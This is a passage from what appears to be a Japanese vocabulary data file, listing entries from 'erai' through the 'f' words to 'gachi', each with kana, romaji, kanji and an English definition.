select\"\n\t},\n\n\t{\n\t\t'kana':'えらい',\n\t\t'romaji':'erai',\n\t\t'kanji':'偉い',\n\t\t'definition':\"great;celebrated;eminent;terrible;awful;famous;remarkable;excellent\"\n\t},\n\n\t{\n\t\t'kana':'エレベーター',\n\t\t'romaji':'erebe-ta-',\n\t\t'kanji':'',\n\t\t'definition':\"elevator\"\n\t},\n\n\t{\n\t\t'kana':'エレガント',\n\t\t'romaji':'ereganto',\n\t\t'kanji':'',\n\t\t'definition':\"elegant\"\n\t},\n\n\t{\n\t\t'kana':'えり',\n\t\t'romaji':'eri',\n\t\t'kanji':'襟',\n\t\t'definition':\"neck;collar;lapel;neckband\"\n\t},\n\n\t{\n\t\t'kana':'えさ',\n\t\t'romaji':'esa',\n\t\t'kanji':'餌',\n\t\t'definition':\"feed;bait\"\n\t},\n\n\t{\n\t\t'kana':'エスカレーター',\n\t\t'romaji':'esukare-ta-',\n\t\t'kanji':'',\n\t\t'definition':\"escalator\"\n\t},\n\n\t{\n\t\t'kana':'えつらん',\n\t\t'romaji':'etsuran',\n\t\t'kanji':'閲覧',\n\t\t'definition':\"inspection;reading\"\n\t},\n\n\t{\n\t\t'kana':'ふ',\n\t\t'romaji':'fu',\n\t\t'kanji':'歩',\n\t\t'definition':\"pawn (in chess or shogi)\"\n\t},\n\n\t{\n\t\t'kana':'ふあん',\n\t\t'romaji':'fuan',\n\t\t'kanji':'不安',\n\t\t'definition':\"anxiety;uneasiness;insecurity;suspense\"\n\t},\n\n\t{\n\t\t'kana':'ふびん',\n\t\t'romaji':'fubin',\n\t\t'kanji':'不便',\n\t\t'definition':\"pity;compassion\"\n\t},\n\n\t{\n\t\t'kana':'ふぶき',\n\t\t'romaji':'fubuki',\n\t\t'kanji':'吹雪',\n\t\t'definition':\"snow storm\"\n\t},\n\n\t{\n\t\t'kana':'ふちょう',\n\t\t'romaji':'fuchou',\n\t\t'kanji':'不調',\n\t\t'definition':\"bad condition;not to work out (ie a deal);disagreement;break-off;disorder;slump;out of form\"\n\t},\n\n\t{\n\t\t'kana':'ふだん',\n\t\t'romaji':'fudan',\n\t\t'kanji':'普段',\n\t\t'definition':\"usually;habitually;ordinarily;always\"\n\t},\n\n\t{\n\t\t'kana':'ふで',\n\t\t'romaji':'fude',\n\t\t'kanji':'筆',\n\t\t'definition':\"writing brush\"\n\t},\n\n\t{\n\t\t'kana':'ふどうさん',\n\t\t'romaji':'fudousan',\n\t\t'kanji':'不動産',\n\t\t'definition':\"real estate\"\n\t},\n\n\t{\n\t\t'kana':'ふえ',\n\t\t'romaji':'fue',\n\t\t'kanji':'笛',\n\t\t'definition':\"flute;pipe\"\n\t},\n\n\t{\n\t\t'kana':'ふえる',\n\t\t'romaji':'fueru',\n\t\t'kanji':'殖える',\n\t\t'definition':\"to increase;to multiply\"\n\t},\n\n\t{\n\t\t'kana':'ふえる',\n\t\t'romaji':'fueru',\n\t\t'kanji':'増える',\n\t\t'definition':\"to increase;to multiply\"\n\t},\n\n\t{\n\t\t'kana':'ふふく',\n\t\t'romaji':'fufuku',\n\t\t'kanji':'不服',\n\t\t'definition':\"dissatisfaction;discontent;disapproval;objection;complaint;protest;disagreement\"\n\t},\n\n\t{\n\t\t'kana':'ふごう',\n\t\t'romaji':'fugou',\n\t\t'kanji':'符号',\n\t\t'definition':\"sign;mark;symbol\"\n\t},\n\n\t{\n\t\t'kana':'ふごう',\n\t\t'romaji':'fugou',\n\t\t'kanji':'富豪',\n\t\t'definition':\"wealthy person;millionaire\"\n\t},\n\n\t{\n\t\t'kana':'ふはい',\n\t\t'romaji':'fuhai',\n\t\t'kanji':'腐敗',\n\t\t'definition':\"decay;depravity\"\n\t},\n\n\t{\n\t\t'kana':'ふへい',\n\t\t'romaji':'fuhei',\n\t\t'kanji':'不平',\n\t\t'definition':\"complaint;discontent;dissatisfaction\"\n\t},\n\n\t{\n\t\t'kana':'ふへん',\n\t\t'romaji':'fuhen',\n\t\t'kanji':'普遍',\n\t\t'definition':\"universality;ubiquity;omnipresence\"\n\t},\n\n\t{\n\t\t'kana':'ふひょう',\n\t\t'romaji':'fuhyou',\n\t\t'kanji':'不評',\n\t\t'definition':\"bad reputation;disgrace;unpopularity\"\n\t},\n\n\t{\n\t\t'kana':'ふい',\n\t\t'romaji':'fui',\n\t\t'kanji':'不意',\n\t\t'definition':\"sudden;abrupt;unexpected;unforeseen\"\n\t},\n\n\t{\n\t\t'kana':'ふじん',\n\t\t'romaji':'fujin',\n\t\t'kanji':'婦人',\n\t\t'definition':\"woman;female\"\n\t},\n\n\t{\n\t\t'kana':'ふじん',\n\t\t'romaji':'fujin',\n\t\t'kanji':'夫人',\n\t\t'definition':\"wife;Mrs;madam\"\n\t},\n\n\t{\n\t\t'kana':'ふじゆう',\n\t\t'romaji':'fujiyuu',\n\t\t'kanji':'不自由',\n\t\t'definition':\"discomfort;disability;inconvenience;destitution\"\n\t},\n\n\t{\n\t\t'kana':'ふじゅん',\n\t\t'romaji':'fujyun',\n\t\t'kanji':'不順',\n\t\t'definition':\"irregularity;unseasonableness\"\n\t},\n\n\t{\n\t\t'kana':'ふか',\n\t\t'romaji':'fuka',\n\t\t'kanji':'不可',\n\t\t'definition':\"wrong;bad;improper;unjustifiable;inadvisable\"\n\t},\n\n\t{\n\t\t'kana':'ふかい',\n\t\t'romaji':'fukai',\n\t\t'kanji':'深い',\n\t\t'definition':\"deep;profound;thick;close\"\n\t},\n\n\t{\n\t\t'kana':'ふかけつ',\n\t\t'romaji':'fukaketsu',\n\t\t'kanji':'不可欠',\n\t\t'definition':\"indispensable;essential\"\n\t},\n\n\t{\n\t\t'kana':'ふかまる',\n\t\t'romaji':'fukamaru',\n\t\t'kanji':'深まる',\n\t\t'definition':\"to deepen;to heighten;to intensify\"\n\t},\n\n\t{\n\t\t'kana':'ふかめる',\n\t\t'romaji':'fukameru',\n\t\t'kanji':'深める',\n\t\t'definition':\"to deepen;to heighten;to intensify\"\n\t},\n\n\t{\n\t\t'kana':'ふけいき',\n\t\t'romaji':'fukeiki',\n\t\t'kanji':'不景気',\n\t\t'definition':\"business recession;hard times;depression;gloom;sullenness;cheerlessness\"\n\t},\n\n\t{\n\t\t'kana':'ふける',\n\t\t'romaji':'fukeru',\n\t\t'kanji':'老ける',\n\t\t'definition':\"to age\"\n\t},\n\n\t{\n\t\t'kana':'ふける',\n\t\t'romaji':'fukeru',\n\t\t'kanji':'更ける',\n\t\t'definition':\"to get late;to advance;to wear on\"\n\t},\n\n\t{\n\t\t'kana':'ふけつ',\n\t\t'romaji':'fuketsu',\n\t\t'kanji':'不潔',\n\t\t'definition':\"unclean;dirty;filthy;impure\"\n\t},\n\n\t{\n\t\t'kana':'ふきん',\n\t\t'romaji':'fukin',\n\t\t'kanji':'付近',\n\t\t'definition':\"neighbourhood;vicinity;environs\"\n\t},\n\n\t{\n\t\t'kana':'ふきん',\n\t\t'romaji':'fukin',\n\t\t'kanji':'布巾',\n\t\t'definition':\"tea-towel;dish cloth\"\n\t},\n\n\t{\n\t\t'kana':'ふきそく',\n\t\t'romaji':'fukisoku',\n\t\t'kanji':'不規則',\n\t\t'definition':\"irregularity;unsteadiness;disorderly\"\n\t},\n\n\t{\n\t\t'kana':'ふきつ',\n\t\t'romaji':'fukitsu',\n\t\t'kanji':'不吉',\n\t\t'definition':\"ominous;sinister;bad luck;ill omen;inauspiciousness\"\n\t},\n\n\t{\n\t\t'kana':'ふっかつ',\n\t\t'romaji':'fukkatsu',\n\t\t'kanji':'復活',\n\t\t'definition':\"revival (e.g. musical);restoration\"\n\t},\n\n\t{\n\t\t'kana':'ふっこう',\n\t\t'romaji':'fukkou',\n\t\t'kanji':'復興',\n\t\t'definition':\"revival;renaissance;reconstruction\"\n\t},\n\n\t{\n\t\t'kana':'ふこく',\n\t\t'romaji':'fukoku',\n\t\t'kanji':'布告',\n\t\t'definition':\"edict;ordinance;proclamation\"\n\t},\n\n\t{\n\t\t'kana':'ふこう',\n\t\t'romaji':'fukou',\n\t\t'kanji':'不幸',\n\t\t'definition':\"unhappiness;sorrow;misfortune;disaster;accident;death\"\n\t},\n\n\t{\n\t\t'kana':'ふく',\n\t\t'romaji':'fuku',\n\t\t'kanji':'服',\n\t\t'definition':\"clothes\"\n\t},\n\n\t{\n\t\t'kana':'ふく',\n\t\t'romaji':'fuku',\n\t\t'kanji':'拭く',\n\t\t'definition':\"to wipe;to dry\"\n\t},\n\n\t{\n\t\t'kana':'ふく',\n\t\t'romaji':'fuku',\n\t\t'kanji':'吹く',\n\t\t'definition':\"to blow (wind etc)\"\n\t},\n\n\t{\n\t\t'kana':'ふく',\n\t\t'romaji':'fuku',\n\t\t'kanji':'福',\n\t\t'definition':\"good fortune\"\n\t},\n\n\t{\n\t\t'kana':'ふくごう',\n\t\t'romaji':'fukugou',\n\t\t'kanji':'複合',\n\t\t'definition':\"composite;complex\"\n\t},\n\n\t{\n\t\t'kana':'ふくきゅう',\n\t\t'romaji':'fukukyuu',\n\t\t'kanji':'復旧',\n\t\t'definition':\"restoration;restitution;rehabilitation\"\n\t},\n\n\t{\n\t\t'kana':'ふくめん',\n\t\t'romaji':'fukumen',\n\t\t'kanji':'覆面',\n\t\t'definition':\"mask;veil;disguise\"\n\t},\n\n\t{\n\t\t'kana':'ふくめる',\n\t\t'romaji':'fukumeru',\n\t\t'kanji':'含める',\n\t\t'definition':\"to include;to instruct;to make one understand;to put in one's mouth\"\n\t},\n\n\t{\n\t\t'kana':'ふくむ',\n\t\t'romaji':'fukumu',\n\t\t'kanji':'含む',\n\t\t'definition':\"to hold in the mouth;to bear in mind;to understand;to cherish;to harbor;to contain;to comprise;to have;to hold;to include;to embrace;to be charged or loaded with;to be dripping with;to be full of;to be suffused with\"\n\t},\n\n\t{\n\t\t'kana':'ふくらます',\n\t\t'romaji':'fukuramasu',\n\t\t'kanji':'膨らます',\n\t\t'definition':\"to swell;to expand;to inflate;to bulge\"\n\t},\n\n\t{\n\t\t'kana':'ふくらむ',\n\t\t'romaji':'fukuramu',\n\t\t'kanji':'膨らむ',\n\t\t'definition':\"to expand;to swell (out);to get big;to become inflated\"\n\t},\n\n\t{\n\t\t'kana':'ふくれる',\n\t\t'romaji':'fukureru',\n\t\t'kanji':'膨れる',\n\t\t'definition':\"to get cross;to get sulky;to swell (out);to expand;to be inflated;to distend;to bulge\"\n\t},\n\n\t{\n\t\t'kana':'ふくろ',\n\t\t'romaji':'fukuro',\n\t\t'kanji':'袋',\n\t\t'definition':\"bag;sack\"\n\t},\n\n\t{\n\t\t'kana':'ふくしゃ',\n\t\t'romaji':'fukusha',\n\t\t'kanji':'複写',\n\t\t'definition':\"copy;duplicate\"\n\t},\n\n\t{\n\t\t'kana':'ふくし',\n\t\t'romaji':'fukushi',\n\t\t'kanji':'副詞',\n\t\t'definition':\"adverb\"\n\t},\n\n\t{\n\t\t'kana':'ふくし',\n\t\t'romaji':'fukushi',\n\t\t'kanji':'福祉',\n\t\t'definition':\"welfare;well-being\"\n\t},\n\n\t{\n\t\t'kana':'ふくしゅう',\n\t\t'romaji':'fukushuu',\n\t\t'kanji':'復習',\n\t\t'definition':\"review\"\n\t},\n\n\t{\n\t\t'kana':'ふくそう',\n\t\t'romaji':'fukusou',\n\t\t'kanji':'服装',\n\t\t'definition':\"garments\"\n\t},\n\n\t{\n\t\t'kana':'ふくすう',\n\t\t'romaji':'fukusuu',\n\t\t'kanji':'複数',\n\t\t'definition':\"plural;multiple\"\n\t},\n\n\t{\n\t\t'kana':'ふくざつ',\n\t\t'romaji':'fukuzatsu',\n\t\t'kanji':'複雑',\n\t\t'definition':\"complexity;complication\"\n\t},\n\n\t{\n\t\t'kana':'ふきょう',\n\t\t'romaji':'fukyou',\n\t\t'kanji':'不況',\n\t\t'definition':\"recession;depression;slump\"\n\t},\n\n\t{\n\t\t'kana':'ふきゅう',\n\t\t'romaji':'fukyuu',\n\t\t'kanji':'普及',\n\t\t'definition':\"diffusion;spread\"\n\t},\n\n\t{\n\t\t'kana':'ふま���る',\n\t\t'romaji':'fumaeru',\n\t\t'kanji':'踏まえる',\n\t\t'definition':\"to be based on;to have origin in\"\n\t},\n\n\t{\n\t\t'kana':'ふまん',\n\t\t'romaji':'fuman',\n\t\t'kanji':'不満',\n\t\t'definition':\"dissatisfaction;displeasure;discontent;complaints;unhappiness\"\n\t},\n\n\t{\n\t\t'kana':'ふめい',\n\t\t'romaji':'fumei',\n\t\t'kanji':'不明',\n\t\t'definition':\"unknown;obscure;indistinct;uncertain;ambiguous;ignorant;lack of wisdom;anonymous;unidentified\"\n\t},\n\n\t{\n\t\t'kana':'ふみ',\n\t\t'romaji':'fumi',\n\t\t'kanji':'文',\n\t\t'definition':\"letter;writings\"\n\t},\n\n\t{\n\t\t'kana':'ふみきり',\n\t\t'romaji':'fumikiri',\n\t\t'kanji':'踏切',\n\t\t'definition':\"railway crossing;level crossing;starting line;scratch;crossover\"\n\t},\n\n\t{\n\t\t'kana':'ふみこむ',\n\t\t'romaji':'fumikomu',\n\t\t'kanji':'踏み込む',\n\t\t'definition':\"to step into (someone else's territory);to break into;to raid\"\n\t},\n\n\t{\n\t\t'kana':'ふもと',\n\t\t'romaji':'fumoto',\n\t\t'kanji':'麓',\n\t\t'definition':\"the foot;the bottom;the base (of a mountain)\"\n\t},\n\n\t{\n\t\t'kana':'ふむ',\n\t\t'romaji':'fumu',\n\t\t'kanji':'踏む',\n\t\t'definition':\"to step on;to tread on\"\n\t},\n\n\t{\n\t\t'kana':'ふん',\n\t\t'romaji':'fun',\n\t\t'kanji':'分',\n\t\t'definition':\"minute\"\n\t},\n\n\t{\n\t\t'kana':'ふん',\n\t\t'romaji':'fun',\n\t\t'kanji':'分',\n\t\t'definition':\"minute\"\n\t},\n\n\t{\n\t\t'kana':'ふん',\n\t\t'romaji':'fun',\n\t\t'kanji':'分',\n\t\t'definition':\"minute\"\n\t},\n\n\t{\n\t\t'kana':'ふなびん',\n\t\t'romaji':'funabin',\n\t\t'kanji':'船便',\n\t\t'definition':\"surface mail (ship)\"\n\t},\n\n\t{\n\t\t'kana':'ふんだん',\n\t\t'romaji':'fundan',\n\t\t'kanji':'',\n\t\t'definition':\"plentiful;abundant;lavish\"\n\t},\n\n\t{\n\t\t'kana':'ふね',\n\t\t'romaji':'fune',\n\t\t'kanji':'船',\n\t\t'definition':\"ship;boat;watercraft;shipping;vessel;steamship\"\n\t},\n\n\t{\n\t\t'kana':'ふね',\n\t\t'romaji':'fune',\n\t\t'kanji':'船',\n\t\t'definition':\"ship;boat;watercraft;shipping;vessel;steamship\"\n\t},\n\n\t{\n\t\t'kana':'ふね',\n\t\t'romaji':'fune',\n\t\t'kanji':'舟',\n\t\t'definition':\"ship;boat;watercraft;shipping;vessel;steamship\"\n\t},\n\n\t{\n\t\t'kana':'ふんがい',\n\t\t'romaji':'fungai',\n\t\t'kanji':'憤慨',\n\t\t'definition':\"indignation;resentment\"\n\t},\n\n\t{\n\t\t'kana':'ふんいき',\n\t\t'romaji':'funiki',\n\t\t'kanji':'雰囲気',\n\t\t'definition':\"atmosphere (e.g. musical);mood;ambience\"\n\t},\n\n\t{\n\t\t'kana':'ふにん',\n\t\t'romaji':'funin',\n\t\t'kanji':'赴任',\n\t\t'definition':\"(proceeding to) new appointment\"\n\t},\n\n\t{\n\t\t'kana':'ふんか',\n\t\t'romaji':'funka',\n\t\t'kanji':'噴火',\n\t\t'definition':\"eruption\"\n\t},\n\n\t{\n\t\t'kana':'ふんまつ',\n\t\t'romaji':'funmatsu',\n\t\t'kanji':'粉末',\n\t\t'definition':\"fine powder\"\n\t},\n\n\t{\n\t\t'kana':'ふんしつ',\n\t\t'romaji':'funshitsu',\n\t\t'kanji':'紛失',\n\t\t'definition':\"losing something\"\n\t},\n\n\t{\n\t\t'kana':'ふんしゅつ',\n\t\t'romaji':'funshutsu',\n\t\t'kanji':'噴出',\n\t\t'definition':\"spewing;gushing;spouting;eruption;effusion\"\n\t},\n\n\t{\n\t\t'kana':'ふんそう',\n\t\t'romaji':'funsou',\n\t\t'kanji':'紛争',\n\t\t'definition':\"dispute;trouble;strife\"\n\t},\n\n\t{\n\t\t'kana':'ふんすい',\n\t\t'romaji':'funsui',\n\t\t'kanji':'噴水',\n\t\t'definition':\"water fountain\"\n\t},\n\n\t{\n\t\t'kana':'ふんとう',\n\t\t'romaji':'funtou',\n\t\t'kanji':'奮闘',\n\t\t'definition':\"hard struggle;strenuous effort\"\n\t},\n\n\t{\n\t\t'kana':'ふらふら',\n\t\t'romaji':'furafura',\n\t\t'kanji':'',\n\t\t'definition':\"unsteady on one's feet;stagger;reel;totter;dizzy\"\n\t},\n\n\t{\n\t\t'kana':'ふれる',\n\t\t'romaji':'fureru',\n\t\t'kanji':'触れる',\n\t\t'definition':\"to touch;to be touched;to touch on a subject;to feel;to violate (law copyright etc.);to perceive;to be emotionally moved\"\n\t},\n\n\t{\n\t\t'kana':'ふり',\n\t\t'romaji':'furi',\n\t\t'kanji':'振り',\n\t\t'definition':\"pretence;show;appearance\"\n\t},\n\n\t{\n\t\t'kana':'ふり',\n\t\t'romaji':'furi',\n\t\t'kanji':'不利',\n\t\t'definition':\"disadvantage;handicap;unfavorable;drawback\"\n\t},\n\n\t{\n\t\t'kana':'ふり',\n\t\t'romaji':'furi',\n\t\t'kanji':'振り',\n\t\t'definition':\"pretence;show;appearance\"\n\t},\n\n\t{\n\t\t'kana':'ふりだし',\n\t\t'romaji':'furidashi',\n\t\t'kanji':'振り出し',\n\t\t'definition':\"outset;starting point;drawing or issuing (draft)\"\n\t},\n\n\t{\n\t\t'kana':'ふりがな',\n\t\t'romaji':'furigana',\n\t\t'kanji':'振り仮名',\n\t\t'definition':\"furigana (hiragana over kanji);pronunciation key\"\n\t},\n\n\t{\n\t\t'kana':'ふりかえる',\n\t\t'romaji':'furikaeru',\n\t\t'kanji':'振り返る',\n\t\t'definition':\"to turn head;to look over one's shoulder;to turn around;to look back\"\n\t},\n\n\t{\n\t\t'kana':'ふりむく',\n\t\t'romaji':'furimuku',\n\t\t'kanji':'振り向く',\n\t\t'definition':\"to turn one's face;to turn around\"\n\t},\n\n\t{\n\t\t'kana':'ふろ',\n\t\t'romaji':'furo',\n\t\t'kanji':'風呂',\n\t\t'definition':\"bath\"\n\t},\n\n\t{\n\t\t'kana':'ふろく',\n\t\t'romaji':'furoku',\n\t\t'kanji':'付録',\n\t\t'definition':\"appendix;supplement\"\n\t},\n\n\t{\n\t\t'kana':'ふろしき',\n\t\t'romaji':'furoshiki',\n\t\t'kanji':'風呂敷',\n\t\t'definition':\"wrapping cloth;cloth wrapper\"\n\t},\n\n\t{\n\t\t'kana':'ふる',\n\t\t'romaji':'furu',\n\t\t'kanji':'振る',\n\t\t'definition':\"to wave;to shake;to swing;to cast (actor)\"\n\t},\n\n\t{\n\t\t'kana':'ふる',\n\t\t'romaji':'furu',\n\t\t'kanji':'降る',\n\t\t'definition':\"to precipitate;to fall (e.g. rain)\"\n\t},\n\n\t{\n\t\t'kana':'ふるえる',\n\t\t'romaji':'furueru',\n\t\t'kanji':'震える',\n\t\t'definition':\"to shiver;to shake;to quake\"\n\t},\n\n\t{\n\t\t'kana':'ふるい',\n\t\t'romaji':'furui',\n\t\t'kanji':'古い',\n\t\t'definition':\"old (not person);aged;ancient;antiquated;stale;threadbare;outmoded;obsolete article\"\n\t},\n\n\t{\n\t\t'kana':'ふるまう',\n\t\t'romaji':'furumau',\n\t\t'kanji':'振舞う',\n\t\t'definition':\"to behave;to conduct oneself;to entertain (vt)\"\n\t},\n\n\t{\n\t\t'kana':'ふるわせる',\n\t\t'romaji':'furuwaseru',\n\t\t'kanji':'震わせる',\n\t\t'definition':\"to be shaking;to be trembling\"\n\t},\n\n\t{\n\t\t'kana':'ふりょく',\n\t\t'romaji':'furyoku',\n\t\t'kanji':'浮力',\n\t\t'definition':\"buoyancy;floating power\"\n\t},\n\n\t{\n\t\t'kana':'ふりょう',\n\t\t'romaji':'furyou',\n\t\t'kanji':'不良',\n\t\t'definition':\"badness;delinquent;inferiority;failure\"\n\t},\n\n\t{\n\t\t'kana':'ふさがる',\n\t\t'romaji':'fusagaru',\n\t\t'kanji':'塞がる',\n\t\t'definition':\"to be plugged up;to be shut up\"\n\t},\n\n\t{\n\t\t'kana':'ふさぐ',\n\t\t'romaji':'fusagu',\n\t\t'kanji':'塞ぐ',\n\t\t'definition':\"to stop up;to close up;to block (up);to occupy;to fill up;to take up;to stand in another's way;to plug up;to shut up\"\n\t},\n\n\t{\n\t\t'kana':'ふさい',\n\t\t'romaji':'fusai',\n\t\t'kanji':'夫妻',\n\t\t'definition':\"man and wife;married couple\"\n\t},\n\n\t{\n\t\t'kana':'ふさい',\n\t\t'romaji':'fusai',\n\t\t'kanji':'負債',\n\t\t'definition':\"debt;liabilities\"\n\t},\n\n\t{\n\t\t'kana':'ふさわしい',\n\t\t'romaji':'fusawashii',\n\t\t'kanji':'相応しい',\n\t\t'definition':\"appropriate\"\n\t},\n\n\t{\n\t\t'kana':'ふせぐ',\n\t\t'romaji':'fusegu',\n\t\t'kanji':'防ぐ',\n\t\t'definition':\"to defend (against);to protect;to prevent\"\n\t},\n\n\t{\n\t\t'kana':'ふせい',\n\t\t'romaji':'fusei',\n\t\t'kanji':'不正',\n\t\t'definition':\"injustice;unfairness;iniquity;impropriety;irregularity;dishonesty;illegality\"\n\t},\n\n\t{\n\t\t'kana':'ふしぎ',\n\t\t'romaji':'fushigi',\n\t\t'kanji':'不思議',\n\t\t'definition':\"wonder;miracle;strange;mystery;marvel;curiosity\"\n\t},\n\n\t{\n\t\t'kana':'ふしん',\n\t\t'romaji':'fushin',\n\t\t'kanji':'不振',\n\t\t'definition':\"dullness;depression;slump;stagnation\"\n\t},\n\n\t{\n\t\t'kana':'ふしん',\n\t\t'romaji':'fushin',\n\t\t'kanji':'不審',\n\t\t'definition':\"incomplete understanding;doubt;question;distrust;suspicion;strangeness;infidelity\"\n\t},\n\n\t{\n\t\t'kana':'ふしょう',\n\t\t'romaji':'fushou',\n\t\t'kanji':'負傷',\n\t\t'definition':\"injury;wound\"\n\t},\n\n\t{\n\t\t'kana':'ふそく',\n\t\t'romaji':'fusoku',\n\t\t'kanji':'不足',\n\t\t'definition':\"insufficiency;shortage;deficiency;lack;dearth\"\n\t},\n\n\t{\n\t\t'kana':'ふすま',\n\t\t'romaji':'fusuma',\n\t\t'kanji':'襖',\n\t\t'definition':\"sliding screen\"\n\t},\n\n\t{\n\t\t'kana':'ふたご',\n\t\t'romaji':'futago',\n\t\t'kanji':'双子',\n\t\t'definition':\"twins;a twin\"\n\t},\n\n\t{\n\t\t'kana':'ふたん',\n\t\t'romaji':'futan',\n\t\t'kanji':'負担',\n\t\t'definition':\"burden;charge;responsibility\"\n\t},\n\n\t{\n\t\t'kana':'ふたたび',\n\t\t'romaji':'futatabi',\n\t\t'kanji':'再び',\n\t\t'definition':\"again;once more\"\n\t},\n\n\t{\n\t\t'kana':'ふたつ',\n\t\t'romaji':'futatsu',\n\t\t'kanji':'二つ',\n\t\t'definition':\"two\"\n\t},\n\n\t{\n\t\t'kana':'ふと',\n\t\t'romaji':'futo',\n\t\t'kanji':'不図',\n\t\t'definition':\"suddenly;casually;accidentally;incidentally;unexpectedly;unintentionally\"\n\t},\n\n\t{\n\t\t'kana':'ふとい',\n\t\t'romaji':'futoi',\n\t\t'kanji':'太い',\n\t\t'definition':\"fat;thick\"\n\t},\n\n\t{\n\t\t'kana':'ふとん',\n\t\t'romaji':'futon',\n\t\t'kanji':'布団',\n\t\t'definition':\"bedding (Japanese style);futon\"\n\t},\n\n\t{\n\t\t'kana':'ふとる',\n\t\t'romaji':'futoru',\n\t\t'kanji':'太る',\n\t\t'definition':\"to grow fat (stout plump);to become fat\"\n\t},\n\n\t{\n\t\t'kana':'ふとう',\n\t\t'romaji':'futou',\n\t\t'kanji':'不当',\n\t\t'definition':\"injustice;impropriety;unreasonableness;undeservedness;unfair;invalid\"\n\t},\n\n\t{\n\t\t'kana':'ふつ',\n\t\t'romaji':'futsu',\n\t\t'kanji':'仏',\n\t\t'definition':\"French\"\n\t},\n\n\t{\n\t\t'kana':'ふつか',\n\t\t'romaji':'futsuka',\n\t\t'kanji':'二日',\n\t\t'definition':\"second day of the month;two days\"\n\t},\n\n\t{\n\t\t'kana':'ふつう',\n\t\t'romaji':'futsuu',\n\t\t'kanji':'不通',\n\t\t'definition':\"suspension;interruption;stoppage;tie-up;cessation\"\n\t},\n\n\t{\n\t\t'kana':'ふつう',\n\t\t'romaji':'futsuu',\n\t\t'kanji':'普通',\n\t\t'definition':\"1. generally;ordinarily;usually; 2. train that stops at every station\"\n\t},\n\n\t{\n\t\t'kana':'ふっとう',\n\t\t'romaji':'futtou',\n\t\t'kanji':'沸騰',\n\t\t'definition':\"boiling;seething\"\n\t},\n\n\t{\n\t\t'kana':'ふう',\n\t\t'romaji':'fuu',\n\t\t'kanji':'封',\n\t\t'definition':\"seal\"\n\t},\n\n\t{\n\t\t'kana':'ふうど',\n\t\t'romaji':'fuudo',\n\t\t'kanji':'風土',\n\t\t'definition':\"natural features;topography;climate;spiritual features\"\n\t},\n\n\t{\n\t\t'kana':'ふうふ',\n\t\t'romaji':'fuufu',\n\t\t'kanji':'夫婦',\n\t\t'definition':\"married couple;spouses;husband and wife;couple;pair\"\n\t},\n\n\t{\n\t\t'kana':'ふうけい',\n\t\t'romaji':'fuukei',\n\t\t'kanji':'風景',\n\t\t'definition':\"scenery\"\n\t},\n\n\t{\n\t\t'kana':'ふうん',\n\t\t'romaji':'fuun',\n\t\t'kanji':'不運',\n\t\t'definition':\"unlucky;misfortune;bad luck;fate\"\n\t},\n\n\t{\n\t\t'kana':'ふうさ',\n\t\t'romaji':'fuusa',\n\t\t'kanji':'封鎖',\n\t\t'definition':\"blockade;freezing (funds)\"\n\t},\n\n\t{\n\t\t'kana':'ふうせん',\n\t\t'romaji':'fuusen',\n\t\t'kanji':'風船',\n\t\t'definition':\"balloon\"\n\t},\n\n\t{\n\t\t'kana':'ふうしゅう',\n\t\t'romaji':'fuushuu',\n\t\t'kanji':'風習',\n\t\t'definition':\"custom\"\n\t},\n\n\t{\n\t\t'kana':'ふうとう',\n\t\t'romaji':'fuutou',\n\t\t'kanji':'封筒',\n\t\t'definition':\"envelope\"\n\t},\n\n\t{\n\t\t'kana':'ふうぞく',\n\t\t'romaji':'fuuzoku',\n\t\t'kanji':'風俗',\n\t\t'definition':\"1. manners;customs; 2. sex service;sex industry\"\n\t},\n\n\t{\n\t\t'kana':'ふやす',\n\t\t'romaji':'fuyasu',\n\t\t'kanji':'殖やす',\n\t\t'definition':\"to increase;to add to;to augment\"\n\t},\n\n\t{\n\t\t'kana':'ふやす',\n\t\t'romaji':'fuyasu',\n\t\t'kanji':'増やす',\n\t\t'definition':\"to increase;to add to;to augment\"\n\t},\n\n\t{\n\t\t'kana':'ふよう',\n\t\t'romaji':'fuyou',\n\t\t'kanji':'扶養',\n\t\t'definition':\"support;maintenance\"\n\t},\n\n\t{\n\t\t'kana':'ふゆ',\n\t\t'romaji':'fuyu',\n\t\t'kanji':'冬',\n\t\t'definition':\"winter\"\n\t},\n\n\t{\n\t\t'kana':'ふざい',\n\t\t'romaji':'fuzai',\n\t\t'kanji':'不在',\n\t\t'definition':\"absence\"\n\t},\n\n\t{\n\t\t'kana':'ふざける',\n\t\t'romaji':'fuzakeru',\n\t\t'kanji':'不山戯る',\n\t\t'definition':\"to romp;to gambol;to frolic;to joke;to make fun of;to flirt\"\n\t},\n\n\t{\n\t\t'kana':'ふぞく',\n\t\t'romaji':'fuzoku',\n\t\t'kanji':'付属',\n\t\t'definition':\"attached;belonging;affiliated;annexed;associated;subordinate;incidental;dependent;auxiliary\"\n\t},\n\n\t{\n\t\t'kana':'ファイル',\n\t\t'romaji':'fwairu',\n\t\t'kanji':'',\n\t\t'definition':\"file\"\n\t},\n\n\t{\n\t\t'kana':'ファイト',\n\t\t'romaji':'fwaito',\n\t\t'kanji':'',\n\t\t'definition':\"fight\"\n\t},\n\n\t{\n\t\t'kana':'ファン',\n\t\t'romaji':'fwan',\n\t\t'kanji':'',\n\t\t'definition':\"fan;fun\"\n\t},\n\n\t{\n\t\t'kana':'ファスナー',\n\t\t'romaji':'fwasuna-',\n\t\t'kanji':'',\n\t\t'definition':\"fastener;zipper\"\n\t},\n\n\t{\n\t\t'kana':'フォーク',\n\t\t'romaji':'fwo-ku',\n\t\t'kanji':'',\n\t\t'definition':\"folk;fork\"\n\t},\n\n\t{\n\t\t'kana':'フォーム',\n\t\t'romaji':'fwo-mu',\n\t\t'kanji':'',\n\t\t'definition':\"foam;form\"\n\t},\n\n\t{\n\t\t'kana':'フェリー',\n\t\t'romaji':'fyeri-',\n\t\t'kanji':'',\n\t\t'definition':\"ferry\"\n\t},\n\n\t{\n\t\t'kana':'フィルム',\n\t\t'romaji':'fyirumu',\n\t\t'kanji':'',\n\t\t'definition':\"film (roll of)\"\n\t},\n\n\t{\n\t\t'kana':'フィルター',\n\t\t'romaji':'fyiruta-',\n\t\t'kanji':'',\n\t\t'definition':\"(camera) filter\"\n\t},\n\n\t{\n\t\t'kana':'がっちり',\n\t\t'romaji':'gacchiri',\n\t\t'kanji':'',\n\t\t'definition':\"solidly built;tightly;shrewd;calculating\"\n\t},\n\n\t{\n\t\t'kana':'がっち',\n\t\t'romaji':'gachi',\n\t\t'kanji':'合致',\n\t\t'definition':\"agreement;concurrence;conforming to\"\n\t},\n\n\t{\n\t\t'kana':'がち',\n\t\t'romaji':'gachi',\n\t\t'kanji':'雅致',\n\t\t'definition':\"artistry;good 